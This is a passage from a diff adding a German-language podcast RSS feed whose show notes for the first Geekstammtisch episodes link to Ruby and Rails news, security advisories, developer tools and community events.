+<li>Composition over Inheritance?! (<a href="http://en.wikipedia.org/wiki/Composition_over_inheritance">http://en.wikipedia.org/wiki/Composition_over_inheritance</a>)</li>
+</ul>
+
+<h2>Github&#39;s Gists in Neu und Bunt, schön :)</h2>
+
+<ul>
+<li>Github Blog Post: <a href="https://github.com/blog/1276-welcome-to-a-new-gist">https://github.com/blog/1276-welcome-to-a-new-gist</a></li>
+</ul>
+
+<h2>Events</h2>
+
+<ul>
+<li>RailsGirls Followups erfolgreich</li>
+<li>Weiter geht&#39;s im März mit Rails Girls Rheinland in Monheim (<a href="http://railsgirls.com/rheinland">http://railsgirls.com/rheinland</a>)</li>
+<li>cologne.rb Weihnachtsmarkt Eddition im Dezember (Twitter <a href="https://twitter.com/colognerb">@colognerb</a>)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST000" />
+
+
+ </item>
+
+ <item>
+ <title>GST001 - Chubby Models on a Diet</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Noch mal mit ohne Gast über aktuelles aus der Ruby-Welt</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst001.mp3" length="38648523" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST001</guid>
+ <pubDate>Mon, 07 Jan 2013 20:50:46 +0100</pubDate>
+ <itunes:duration>00:53:30</itunes:duration>
+ <itunes:summary><![CDATA[### Errata
+
+ * Refinements sind doch drin, aber nur in sehr eingeschränkter Weise (https://bugs.ruby-lang.org/issues/4085#note-175)
+ (via @klaustopher)
+ * Bodo’s (@bitboxer) Feedback zu rvm vs. rbenv
+ * `.ruby-version` erlaubt die Verwendung einer Ruby-Version pro Verzeichnis (https://github.com/sstephenson/rbenv#rbenv-local)
+ * Realisiert wird das mit `shims`: https://github.com/sstephenson/rbenv#understanding-shims
+ * Das `cd` Kommando _nicht_ überschreiben, ist einfach sauberer
+ * rbenv ist eher UNIX-Style: Ein Tool für eine Aufgabe
+ * Bodo hat schon Probleme auf dem Server, gibt aber zu "da schon tief für in die Scheisse greifen" zu müssen
+
+## In eigener Sache
+
+ * Endlich auch im iTunes Store und damit auch in Instacast!
+ * Nach dem Store mehr mp4 Downloads als mp3! (2:1)
+ * Download Zahlen von Podcasts ermitteln: nicht einfach :-/
+ * Und auch via Bittorrent (http://bitlove.org/tisba/gst)
+ * Mac OS X Client mit Torrent Support: http://www.getmiro.com/
+ * Nettes Feedback zum gst-kitchen Publishing Prozess von @auphonic und @timpritlove
+
+## Ruby
+
+ * Ruby 1.9.3p362 released, macht aber wohl Probleme (seg faults)
+ * https://github.com/travis-ci/travis-ci/issues/827
+ * https://bugs.ruby-lang.org/issues/7629
+ * Ruby Compilation
+ * mruby in ArangoDB: http://www.arangodb.org/
+ * mruby nach JavaScript Complier: http://qiezi.me/projects/mruby-web-irb/mruby.html
+ * Ruby zu Java-Quellcode!1!!11!: https://github.com/headius/rubyflux
+
+## Rails
+
+ * SQL Injection Vector (OMG!)
+ * Rails 3.2.10/3.1.9/3.0.18: http://weblog.rubyonrails.org/2013/1/2/Rails-3-2-10--3-1-9--and-3-0-18-have-been-released/
+ * Alles halb so wild: http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/
+
+## Software Development
+
+ * Put chubby models on a diet with concerns
+ * @dhh legt los: http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns
+ * Gegenmeinung von Corey Haines: http://programmingtour.blogspot.de/2012/12/why-i-dont-use-activesupportconcern.html
+ * tl;dr: `ActionSupport::Concerns` macht mehr als nur `include/extend`, nämlich auch Dependency Management
+
+### Binstubs
+
+ * Diskussion ob einchecken oder nicht: https://github.com/rails/rails/commit/61b91c4c55bcbd5a2ec85d6e1c67755150653dff
+ * Was sind Binstubs: https://github.com/sstephenson/rbenv/wiki/Understanding-binstubs
+ * Ohne `bundle exec` leben: `bundle install --binstubs`
+
+### SCM Hosting:
+
+ * gitlab
+ * Open Source Klon von GitHub
+ * http://gitlabhq.com/
+ * Dirk hat’s getestet
+ * Kostenpflichtige Alternative: Github Enterprise (https://enterprise.github.com/) und Stash (http://www.atlassian.com/software/stash/overview)
+
+## Random Stuff
+
+ * Linus Torvalds beschimpft Kernel-Entwickler: https://lkml.org/lkml/2012/12/23/75
+ * `conference.jabber.org`: Group-Chat Service kostenlos, wenn man das mal brauchen sollte ;-)]]></itunes:summary>
+ <description><![CDATA[<h3>Errata</h3>
+
+<ul>
+<li>Refinements sind doch drin, aber nur in sehr eingeschränkter Weise (<a href="https://bugs.ruby-lang.org/issues/4085#note-175">https://bugs.ruby-lang.org/issues/4085#note-175</a>)
+(via <a href="https://twitter.com/klaustopher">@klaustopher</a>)</li>
+<li>Bodo’s (<a href="https://twitter.com/bitboxer">@bitboxer</a>) Feedback zu rvm vs. rbenv
+
+<ul>
+<li><code>.ruby-version</code> erlaubt die Verwendung einer Ruby-Version pro Verzeichnis (<a href="https://github.com/sstephenson/rbenv#rbenv-local">https://github.com/sstephenson/rbenv#rbenv-local</a>)</li>
+<li>Realisiert wird das mit <code>shims</code>: <a href="https://github.com/sstephenson/rbenv#understanding-shims">https://github.com/sstephenson/rbenv#understanding-shims</a></li>
+<li>Das <code>cd</code> Kommando <em>nicht</em> überschreiben, ist einfach sauberer</li>
+<li>rbenv ist eher UNIX-Style: Ein Tool für eine Aufgabe</li>
+<li>Bodo hat schon Probleme auf dem Server, gibt aber zu &quot;da schon tief für in die Scheisse greifen&quot; zu müssen</li>
+</ul></li>
+</ul>
+
+<h2>In eigener Sache</h2>
+
+<ul>
+<li>Endlich auch im iTunes Store und damit auch in Instacast!
+
+<ul>
+<li>Nach dem Store mehr mp4 Downloads als mp3! (2:1)</li>
+<li>Download Zahlen von Podcasts ermitteln: nicht einfach :-/</li>
+</ul></li>
+<li>Und auch via Bittorrent (<a href="http://bitlove.org/tisba/gst">http://bitlove.org/tisba/gst</a>)
+
+<ul>
+<li>Mac OS X Client mit Torrent Support: <a href="http://www.getmiro.com/">http://www.getmiro.com/</a></li>
+</ul></li>
+<li>Nettes Feedback zum gst-kitchen Publishing Prozess von <a href="https://twitter.com/auphonic">@auphonic</a> und <a href="https://twitter.com/timpritlove">@timpritlove</a></li>
+</ul>
+
+<h2>Ruby</h2>
+
+<ul>
+<li>Ruby 1.9.3p362 released, macht aber wohl Probleme (seg faults)
+
+<ul>
+<li><a href="https://github.com/travis-ci/travis-ci/issues/827">https://github.com/travis-ci/travis-ci/issues/827</a></li>
+<li><a href="https://bugs.ruby-lang.org/issues/7629">https://bugs.ruby-lang.org/issues/7629</a></li>
+</ul></li>
+<li>Ruby Compilation
+
+<ul>
+<li>mruby in ArangoDB: <a href="http://www.arangodb.org/">http://www.arangodb.org/</a></li>
+<li>mruby nach JavaScript Complier: <a href="http://qiezi.me/projects/mruby-web-irb/mruby.html">http://qiezi.me/projects/mruby-web-irb/mruby.html</a></li>
+<li>Ruby zu Java-Quellcode!1!!11!: <a href="https://github.com/headius/rubyflux">https://github.com/headius/rubyflux</a></li>
+</ul></li>
+</ul>
+
+<h2>Rails</h2>
+
+<ul>
+<li>SQL Injection Vector (OMG!)
+
+<ul>
+<li>Rails 3.2.10/3.1.9/3.0.18: <a href="http://weblog.rubyonrails.org/2013/1/2/Rails-3-2-10--3-1-9--and-3-0-18-have-been-released/">http://weblog.rubyonrails.org/2013/1/2/Rails-3-2-10--3-1-9--and-3-0-18-have-been-released/</a></li>
+<li>Alles halb so wild: <a href="http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/">http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/</a></li>
+</ul></li>
+</ul>
+
+<h2>Software Development</h2>
+
+<ul>
+<li>Put chubby models on a diet with concerns
+
+<ul>
+<li><a href="https://twitter.com/dhh">@dhh</a> legt los: <a href="http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns">http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns</a></li>
+<li>Gegenmeinung von Corey Haines: <a href="http://programmingtour.blogspot.de/2012/12/why-i-dont-use-activesupportconcern.html">http://programmingtour.blogspot.de/2012/12/why-i-dont-use-activesupportconcern.html</a></li>
+<li>tl;dr: <code>ActionSupport::Concerns</code> macht mehr als nur <code>include/extend</code>, nämlich auch Dependency Management</li>
+</ul></li>
+</ul>
+
+<h3>Binstubs</h3>
+
+<ul>
+<li>Diskussion ob einchecken oder nicht: <a href="https://github.com/rails/rails/commit/61b91c4c55bcbd5a2ec85d6e1c67755150653dff">https://github.com/rails/rails/commit/61b91c4c55bcbd5a2ec85d6e1c67755150653dff</a></li>
+<li>Was sind Binstubs: <a href="https://github.com/sstephenson/rbenv/wiki/Understanding-binstubs">https://github.com/sstephenson/rbenv/wiki/Understanding-binstubs</a></li>
+<li>Ohne <code>bundle exec</code> leben: <code>bundle install --binstubs</code></li>
+</ul>
+
+<h3>SCM Hosting:</h3>
+
+<ul>
+<li>gitlab
+
+<ul>
+<li>Open Source Klon von GitHub</li>
+<li><a href="http://gitlabhq.com/">http://gitlabhq.com/</a></li>
+<li>Dirk hat’s getestet</li>
+<li>Kostenpflichtige Alternative: Github Enterprise (<a href="https://enterprise.github.com/">https://enterprise.github.com/</a>) und Stash (<a href="http://www.atlassian.com/software/stash/overview">http://www.atlassian.com/software/stash/overview</a>)</li>
+</ul></li>
+</ul>
+
+<h2>Random Stuff</h2>
+
+<ul>
+<li>Linus Torvalds beschimpft Kernel-Entwickler: <a href="https://lkml.org/lkml/2012/12/23/75">https://lkml.org/lkml/2012/12/23/75</a></li>
+<li><code>conference.jabber.org</code>: Group-Chat Service kostenlos, wenn man das mal brauchen sollte ;-)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST001" />
+
+
+ </item>
+
+ <item>
+ <title>GST002 - Shell ist immer da</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Sebastian Schulze (@bascht)</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst002.mp3" length="43681307" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST002</guid>
+ <pubDate>Mon, 21 Jan 2013 22:12:54 +0100</pubDate>
+ <itunes:duration>01:00:29</itunes:duration>
+ <itunes:summary><![CDATA[Heute mit unserem ersten Gast: Sebastian Schulze (@bascht, http://bascht.com/)
+
+### Errata
+
+ * Von Bodo zu Ruby Patch 1.9.3-p362:
+ * Das ist nich nur unwichtiges Zeug drin gewesen:
+ Zum Beispiel wurde der Hash-Algo von Murmurhash
+ zu SipHash geändert um Hash Flodding und damit
+ DOS zu verhindern.
+ * Details dazu gab es auf dem 29c3 in diesem Vortrag: http://events.ccc.de/congress/2012/Fahrplan/events/5152.en.html
+ * Video: http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/29c3-5152-en-hashflooding_dos_reloaded_h264.mp4
+
+### Ruby
+
+ * Fix all the SEGFAULTs (with 1.9.3-p374)
+ * Nokogiri von der Commandozeile (https://github.com/sparklemotion/nokogiri/blob/master/bin/nokogiri)
+ * Aaron Patterson, Ryan Davis: Worst. Ideas. Ever. http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever
+ * Bascht hat ein Web-Entwickler Background ist aber mittlerweile als freier DevOps unterwegs (http://blog.csanchez.org/2012/03/13/infrastructure-as-code/)
+ * http://devopsreactions.tumblr.com/
+ * Bascht deployed auch schon mal im JRuby Kontext:
+ * Maven, Tomcat, War-Files und so weiter…
+ * Java-Entwickler sind sehr nette Leute :-)
+ * Scripting mit Bash?
+ * Oder einfach direkt in Ruby :-)
+ * Brightbox Debian Packages/PPA (http://docs.brightbox.com/ruby/ubuntu/)
+ * Einfach immer Gemfiles verwenden
+ * `bundle console`: http://gembundler.com/v1.2/bundle_console.html
+ * Schmankerl: OpenLDAP Configure Script in knackigen 26k LOCs (http://code.metager.de/source/xref/openldap/configure#430)
+ * Unit testing for Bash: https://code.google.com/p/shunit2/ (Dirk hat's gefunden)
+ * Test-Driven-Admin
+ * Automatisierung muss sein, weil man will nicht das hier: http://eric.lubow.org/wp-content/uploads/2010/03/cssh_screenshot.jpg
+ * Cluster Shell (http://sourceforge.net/projects/clusterssh/)
+ * Oder einfach mit iTerm2 ("Shell" -> "Broadcast Input")
+ * Echte Automatisierung:
+ * Am besten direkt von Anfang an richtig machen!
+ * Puppet: http://puppetlabs.com/
+ * Chef: http://www.opscode.com/chef/
+ * Chef-Doku: http://docs.opscode.com/
+ * KEINEN eigenen Chef-Server zum testen aufsetzen, einfach kostenlos bei Opscode einen nehmen: https://manage.opscode.com/
+ * irgendwas anderes / eigenes ;-) (immer noch besser als manuell)
+ * Keine Angst mehr vor Freitagnachmittag-Deploys: http://devopsreactions.tumblr.com/post/37823969926/a-small-infrastructure-change-4pm-friday
+ * GST berichtete: mruby-web-irb is now WebRuby: https://github.com/xxuejie/webruby
+ * Ruby Facets: https://github.com/rubyworks/facets
+ * Zucker: http://rubyzucker.info/
+ * Anwendungsfall für ActiveSupport: http://bascht.hasbeen.in
+
+### Rails
+
+ * OMG!1!, more security fixes
+ * Rails 3.2.11, 3.1.10, 3.0.19 und sogar 2.3.15 released
+ * CVE-2013-0155: https://groups.google.com/group/rubyonrails-security/browse_thread/thread/b75585bae4326af2
+ * CVE-2013-0156: https://groups.google.com/group/rubyonrails-security/browse_thread/thread/eb56e482f9d21934
+ * View-Decorator: https://github.com/drapergem/draper
+ * Gary Berhardt: "How do we stop our Rails apps from being so horrible when they grow up?"
+
+### Web Services
+
+ * http://hackdesign.org/ - Desing courses for Hacker
+
+### Events
+
+ * cologne.rb braucht Talks: https://github.com/colognerb/talks/wiki/Potentielle-Themen
+ * Unser Talk: https://speakerdeck.com/railsbros_dirk/cologne-dot-rb-magic-kindergarten
+ * Am 6.7. ist Iron Maiden in Oberhausen \m/
+ * Sigint findet auch an diesem Wochenende statt: http://sigint.ccc.de/ (5.-7.7.2013)
+ * Railsgirls treffen sich auch wieder (31.01.): http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1442)
+ * wroc_love.rb: Zweiter Batch an Tickets raus - https://tito.io/wrocloverb/2013
+
+### Offtopic
+
+ * Dokumentation über das Phänomen Bronies: http://www.bronydoc.com/Brony/MAIN.html :-)
+ * Pony Podcast: http://ponytime.net/]]></itunes:summary>
+ <description><![CDATA[<p>Heute mit unserem ersten Gast: Sebastian Schulze (<a href="https://twitter.com/bascht">@bascht</a>, <a href="http://bascht.com/">http://bascht.com/</a>)</p>
+
+<h3>Errata</h3>
+
+<ul>
+<li>Von Bodo zu Ruby Patch 1.9.3-p362:
+
+<ul>
+<li>Das ist nich nur unwichtiges Zeug drin gewesen:
+Zum Beispiel wurde der Hash-Algo von Murmurhash
+zu SipHash geändert um Hash Flodding und damit
+DOS zu verhindern.</li>
+<li>Details dazu gab es auf dem 29c3 in diesem Vortrag: <a href="http://events.ccc.de/congress/2012/Fahrplan/events/5152.en.html">http://events.ccc.de/congress/2012/Fahrplan/events/5152.en.html</a>
+
+<ul>
+<li>Video: <a href="http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/29c3-5152-en-hashflooding_dos_reloaded_h264.mp4">http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/29c3-5152-en-hashflooding_dos_reloaded_h264.mp4</a></li>
+</ul></li>
+</ul></li>
+</ul>
+
+<h3>Ruby</h3>
+
+<ul>
+<li>Fix all the SEGFAULTs (with 1.9.3-p374)</li>
+<li>Nokogiri von der Commandozeile (<a href="https://github.com/sparklemotion/nokogiri/blob/master/bin/nokogiri">https://github.com/sparklemotion/nokogiri/blob/master/bin/nokogiri</a>)</li>
+<li>Aaron Patterson, Ryan Davis: Worst. Ideas. Ever. <a href="http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever">http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever</a></li>
+<li>Bascht hat ein Web-Entwickler Background ist aber mittlerweile als freier DevOps unterwegs (<a href="http://blog.csanchez.org/2012/03/13/infrastructure-as-code/">http://blog.csanchez.org/2012/03/13/infrastructure-as-code/</a>)</li>
+<li><a href="http://devopsreactions.tumblr.com/">http://devopsreactions.tumblr.com/</a></li>
+<li>Bascht deployed auch schon mal im JRuby Kontext:
+
+<ul>
+<li>Maven, Tomcat, War-Files und so weiter…</li>
+</ul></li>
+<li>Java-Entwickler sind sehr nette Leute :-)</li>
+<li>Scripting mit Bash?</li>
+<li>Oder einfach direkt in Ruby :-)
+
+<ul>
+<li>Brightbox Debian Packages/PPA (<a href="http://docs.brightbox.com/ruby/ubuntu/">http://docs.brightbox.com/ruby/ubuntu/</a>)</li>
+</ul></li>
+<li>Einfach immer Gemfiles verwenden
+
+<ul>
+<li><code>bundle console</code>: <a href="http://gembundler.com/v1.2/bundle_console.html">http://gembundler.com/v1.2/bundle_console.html</a></li>
+</ul></li>
+<li>Schmankerl: OpenLDAP Configure Script in knackigen 26k LOCs (<a href="http://code.metager.de/source/xref/openldap/configure#430">http://code.metager.de/source/xref/openldap/configure#430</a>)
+
+<ul>
+<li>Unit testing for Bash: <a href="https://code.google.com/p/shunit2/">https://code.google.com/p/shunit2/</a> (Dirk hat&#39;s gefunden)</li>
+</ul></li>
+<li>Test-Driven-Admin</li>
+<li>Automatisierung muss sein, weil man will nicht das hier: <a href="http://eric.lubow.org/wp-content/uploads/2010/03/cssh_screenshot.jpg">http://eric.lubow.org/wp-content/uploads/2010/03/cssh_screenshot.jpg</a>
+
+<ul>
+<li>Cluster Shell (<a href="http://sourceforge.net/projects/clusterssh/">http://sourceforge.net/projects/clusterssh/</a>)</li>
+<li>Oder einfach mit iTerm2 (&quot;Shell&quot; -> &quot;Broadcast Input&quot;)</li>
+</ul></li>
+<li>Echte Automatisierung:
+
+<ul>
+<li>Am besten direkt von Anfang an richtig machen!</li>
+<li>Puppet: <a href="http://puppetlabs.com/">http://puppetlabs.com/</a></li>
+<li>Chef: <a href="http://www.opscode.com/chef/">http://www.opscode.com/chef/</a></li>
+<li>Chef-Doku: <a href="http://docs.opscode.com/">http://docs.opscode.com/</a></li>
+<li>KEINEN eigenen Chef-Server zum testen aufsetzen, einfach kostenlos bei Opscode einen nehmen: <a href="https://manage.opscode.com/">https://manage.opscode.com/</a></li>
+<li>irgendwas anderes / eigenes ;-) (immer noch besser als manuell)</li>
+<li>Keine Angst mehr vor Freitagnachmittag-Deploys: <a href="http://devopsreactions.tumblr.com/post/37823969926/a-small-infrastructure-change-4pm-friday">http://devopsreactions.tumblr.com/post/37823969926/a-small-infrastructure-change-4pm-friday</a></li>
+</ul></li>
+<li>GST berichtete: mruby-web-irb is now WebRuby: <a href="https://github.com/xxuejie/webruby">https://github.com/xxuejie/webruby</a></li>
+<li>Ruby Facets: <a href="https://github.com/rubyworks/facets">https://github.com/rubyworks/facets</a></li>
+<li>Zucker: <a href="http://rubyzucker.info/">http://rubyzucker.info/</a></li>
+<li>Anwendungsfall für ActiveSupport: <a href="http://bascht.hasbeen.in">http://bascht.hasbeen.in</a></li>
+</ul>
+
+<h3>Rails</h3>
+
+<ul>
+<li>OMG!1!, more security fixes
+
+<ul>
+<li>Rails 3.2.11, 3.1.10, 3.0.19 und sogar 2.3.15 released</li>
+<li>CVE-2013-0155: <a href="https://groups.google.com/group/rubyonrails-security/browse_thread/thread/b75585bae4326af2">https://groups.google.com/group/rubyonrails-security/browse_thread/thread/b75585bae4326af2</a></li>
+<li>CVE-2013-0156: <a href="https://groups.google.com/group/rubyonrails-security/browse_thread/thread/eb56e482f9d21934">https://groups.google.com/group/rubyonrails-security/browse_thread/thread/eb56e482f9d21934</a></li>
+</ul></li>
+<li>View-Decorator: <a href="https://github.com/drapergem/draper">https://github.com/drapergem/draper</a></li>
+<li>Gary Berhardt: &quot;How do we stop our Rails apps from being so horrible when they grow up?&quot;</li>
+</ul>
+
+<h3>Web Services</h3>
+
+<ul>
+<li><a href="http://hackdesign.org/">http://hackdesign.org/</a> - Desing courses for Hacker</li>
+</ul>
+
+<h3>Events</h3>
+
+<ul>
+<li>cologne.rb braucht Talks: <a href="https://github.com/colognerb/talks/wiki/Potentielle-Themen">https://github.com/colognerb/talks/wiki/Potentielle-Themen</a>
+
+<ul>
+<li>Unser Talk: <a href="https://speakerdeck.com/railsbros_dirk/cologne-dot-rb-magic-kindergarten">https://speakerdeck.com/railsbros_dirk/cologne-dot-rb-magic-kindergarten</a></li>
+</ul></li>
+<li>Am 6.7. ist Iron Maiden in Oberhausen \m/
+
+<ul>
+<li>Sigint findet auch an diesem Wochenende statt: <a href="http://sigint.ccc.de/">http://sigint.ccc.de/</a> (5.-7.7.2013)</li>
+</ul></li>
+<li>Railsgirls treffen sich auch wieder (31.01.): <a href="http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1442">http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1442</a>)</li>
+<li>wroc_love.rb: Zweiter Batch an Tickets raus - <a href="https://tito.io/wrocloverb/2013">https://tito.io/wrocloverb/2013</a></li>
+</ul>
+
+<h3>Offtopic</h3>
+
+<ul>
+<li>Dokumentation über das Phänomen Bronies: <a href="http://www.bronydoc.com/Brony/MAIN.html">http://www.bronydoc.com/Brony/MAIN.html</a> :-)</li>
+<li>Pony Podcast: <a href="http://ponytime.net/">http://ponytime.net/</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST002" />
+
+
+ </item>
+
+ <item>
+ <title>GST003 - Mein Callstack ist kleiner</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Florian Gilcher (@Argorak), u.a. über Padrino</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst003.mp3" length="46233055" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST003</guid>
+ <pubDate>Mon, 28 Jan 2013 21:07:15 +0100</pubDate>
+ <itunes:duration>01:04:00</itunes:duration>
+ <itunes:summary><![CDATA[Heute wieder mit Gast: Florian Gilcher (@Argorak, http://asquera.de/blog)
+
+### Errata
+
+ * Auf Grund der kurzen Zeit zwischen den Aufnahmen qausi ausgefallen. Oder einfach keine Fehler gemacht ;-)
+
+### Unser Gast
+
+ * Florian aus Berlin
+ * Hat dort seine eigene Firma
+ * Ist vor allem Backend-Entwickler \o/
+ * Padrino.rb Core-Entwickler (Sinatra-basiertes Webframework: http://www.padrinorb.com)
+ * Sehr aktiv im deutschen Ruby-Forum aktiv: http://forum.ruby-portal.de/
+ * Hat letztes Jahr das eurucamp mitorganisiert: http://2012.eurucamp.org/
+ * Und ist auch sonst sehr stark in der Community aktiv: "Community macht Spaß"
+
+### Padrino
+
+ * Entstanden aus Sinatra-Plugins
+ * Auch heute ist eine Padrino-App "nur" eine Ansammlung von Sinatra-Apps
+ * Padrino ist viel expliziter als Rails
+ * Padrino "zwingt" den Entwickler sich mit vielen (allen) Entscheidungen selbst zu beschäftigen
+ * Rails Pain #1: Initializer-Reihenfolge (auch von Engines), Paadrino kümmert sich nicht
+ * Ladereihenfolge, Config etc muss man selbst machen
+ * Rails Pain #2: Logger austauschen
+ * Dirk empfiehlt das `logging` Gem https://github.com/TwP/logging
+ * Basti und Dirk haben sonst wenig Probleme mit Logging
+ * Eignet sich Padrino gut für Einsteiger?
+ * Der Grund Aufwand ist nach Flo schon höher
+ * Aber der Zusammenhang zwischen den Komponenten wird klarer
+ * Padrino behandelt Padrino Erweiterungen (Engines) expliziter
+ * Philosophie bei Padrino: Setzt euch mit den Dingen auseinander!
+ * Rails und Einsteiger? Auch nicht mehr ganz so einfach…
+ * Yehuda Katz baut deswegen Tokaido (https://github.com/tokaido/tokaidoapp)
+ * Steve Klabnik: Rails has Two Default Stacks (http://words.steveklabnik.com/rails-has-two-default-stacks)
+ * Padrino Getting Started
+ * Es gibt auch Generatoren
+ * Schritt Eins: HTTP-Stack
+ * Komponenten müssen ausgewählt werden
+ * Von Test-Framework bis ORM alles auszuwählen
+ * In Ruby passt eigentlich alles gut zusammen ohne viel Aufwand
+ * Mit Rack (http://rack.github.com/) ist alles besser geworden
+ * Es gibt auch noch Ramaze: The Web Framework for Rubyists (http://ramaze.net/)
+ * Flo träumt von Jeremy Evans’ sequel (https://github.com/jeremyevans/sequel)
+ * PostgreSQL hstore (http://www.postgresql.org/docs/9.0/static/hstore.html)
+ * ActiveRecord hat mittlerweile auch eine Unterstützung
+ * ORM tauschen ist mit Padrino genauso schwer wie bei Rails
+ * Bei echten Projekten tauscht man nicht einfach mal so das DB-Backend, ORM hin oder her
+ * Padrino macht es auch nicht einfacher, gibt einem aber von Anfang die Info, dass es mehr
+ als ein gibt
+ * Doku bei Rails sehr monolitisch, bei Padrino für jede Komponente eine eigene, unabhängige Doku
+ * Der Austausch von ActiveRecord ist wegen ActiveModel sehr leicht geworden
+ * Sehr viele ORMs und Form-Helper nutzen sehr viel ActiveModel
+ * Padrino benutzt ActiveSupport
+ * Allerdings sehr wenig by default
+ * Zwischenfazit: Der Entwickler wird bei Padrino eher gezwungen sich mit Komponenten und Entscheidungen
+ kritisch zu beschäftigen
+ * Padrino bietet besser dokumentierte APIs um Komponenten einzuschieben
+ * Rails 2 Zeiten - reden wir nicht drüber
+ * Immer noch Altlasten, z.B.: viele Möglichkeiten aus dem Controller zu rendern
+ * Rails ist einfach gute Konkurrenz ;-)
+ * Rails ist schon ein sehr mächtiges Werkzeug
+ * Als Rails-Entwickler kann man sich gut von Padrino inspirieren lassen
+ * Basti ist beeindruckt vom Merb-Rails Merge (http://rubyonrails.org/merb)
+
+### Software Engineering
+
+ * Bezug "How do we stop our Rails apps from being so horrible when they grow up?" (http://bit.ly/VFtzUI)
+ * Alles unter dem Controller ist für Dirk immer noch ein sehr schwieriges Thema
+ * Kann Padrino da unterstützen? Durch Aufklärung?
+ * Bei Padrino ist der Tipp: Schnell raus aus dem Controller
+ * Ein Webframework sollte vor allem den Web-Teil richtig machen
+ * Bei allem danach hört die Unterstützung schnell auf
+ * DCI (Data, context and interaction)
+ * Flo arbeitet gerade einem Projekt mit Delegates ähnlich wie in Objective-C: Funktioniert super.
+ * Dependency Injection ist eigentlich nur die richtigen Objekte an die richtige Stelle schieben
+ * DI muss nicht Spring mit XML sein
+ * Geht in Ruby viel einfacher
+ * Geht auch in Java viel einfacher: Google Guice (https://code.google.com/p/google-guice/)
+ * "Am Ende trennt sich bei diesen Themen einfach die Spreu vom Weizen"
+ * ActiveRecord führt einen aber vielleicht zu weit in einen falsche Richtung
+ * Allerdings: Nie wieder ohne ORM
+ * Anemic Domain Model von Martin Fowler (http://martinfowler.com/bliki/AnemicDomainModel.html)
+ * Ist ein Anti-Pattern
+ * Sieht aus wie ein Domain-Model, aber:
+ * Models halten nur Daten
+ * Verhalten lebt in einem prozeduralen Service-Layer
+ * Lösung sind dann "richtige" Domain-Models (http://martinfowler.com/eaaCatalog/domainModel.html) und
+ "richtige" Service-Layer (http://martinfowler.com/eaaCatalog/serviceLayer.html)
+ * Basti hat bisher noch nie davon gehört
+ * Flo hat P of EAA nur überflogen aber Refactoring gefressen
+ * Wichtigste Erkenntnis: Feature Hut ODER Refactoring Hut NIEMALS beides!
+ * Die Zwei Stacks von Rails (http://words.steveklabnik.com/rails-has-two-default-stacks)
+ * Omakase (http://en.wikipedia.org/wiki/Omakase) vs. Prime (http://en.wikipedia.org/wiki/Prime_(symbol)#Use_in_mathematics.2C_statistics.2C_and_science)
+ * Omakase: ERB, MySQL, minitest, Fat Models, Skinny Controllers
+ * Prima: HAML, PostgreSQL, RSpec & Cucumber, Fat Models, Skinny
+ Controllers, Service Layer
+ * Für Rails ist DHH der Sushi-Chef: http://david.heinemeierhansson.com/2012/rails-is-omakase.html
+ * Es geht nicht um besser oder schlechter
+ * Wie kommen Anfänger klar?
+ * Eigentlich muss man sich gar nicht aktiv entscheiden, wie kommt man überhaupt auf den anderen Stack
+ * PostgreSQL ist die Profi-Alernative zu MySQL
+ * Mehr Aufwand in der Wartung verhält sich aber viel wartbarer
+ * MySQL lässt sich trotzdem sehr gut betreiben
+ * Flo steht auf rustikale Software
+ * Man entdeckt Tablespaces (http://www.postgresql.org/docs/8.3/static/manage-ag-tablespaces.html)
+ * Basti mag eher RSpec aber nimmt sonst eher den Omakase Stack
+ * Flo mag mehr ERb nimmt aber Postgres
+ * Eigentlich passt der Name eh nicht, weil ein guter Chef setzt einem nicht zweimal das gleiche Essen vor
+ * Idee: Stack-Randomizer im Projektgenerator
+ * Flo kennt das Rubyworks-Ökosystem
+ * Wir haben das maßlos unterschätzt
+ * Ist Thomas Sawyer (http://rubyworks.github.com/)
+ * Ruby Q.E.D.: Cucumber auf Steroiden (https://github.com/rubyworks/qed)
+ * Verwendet AE als Test-Lib (http://rubyworks.github.com/ae/) auch von ihm
+ * Es lassen sich damit Blog-Posts testen
+ * Semantic-Versioning at its best: https://github.com/sunaku/tork
+ * Mit viel Liebe und Mühe sehr gute Libraries und die Masse verwendet es noch nichtmal
+ * https://github.com/sunaku/inochi
+ * RSpec's Doku ist in Cucumber (https://www.relishapp.com/)
+ * Dokumentation ist nicht trivial
+ * Zed Shaw hat einmal gesagt, dass das Problem darin besteht, dass wir den Leuten beibringen müssen wie sie es entwicklen
+ * Die Technik ist da, das Lernen ist das Problem
+ * Code-Review ist dafür gut
+ * In guten Teams geht nichts einfach durch
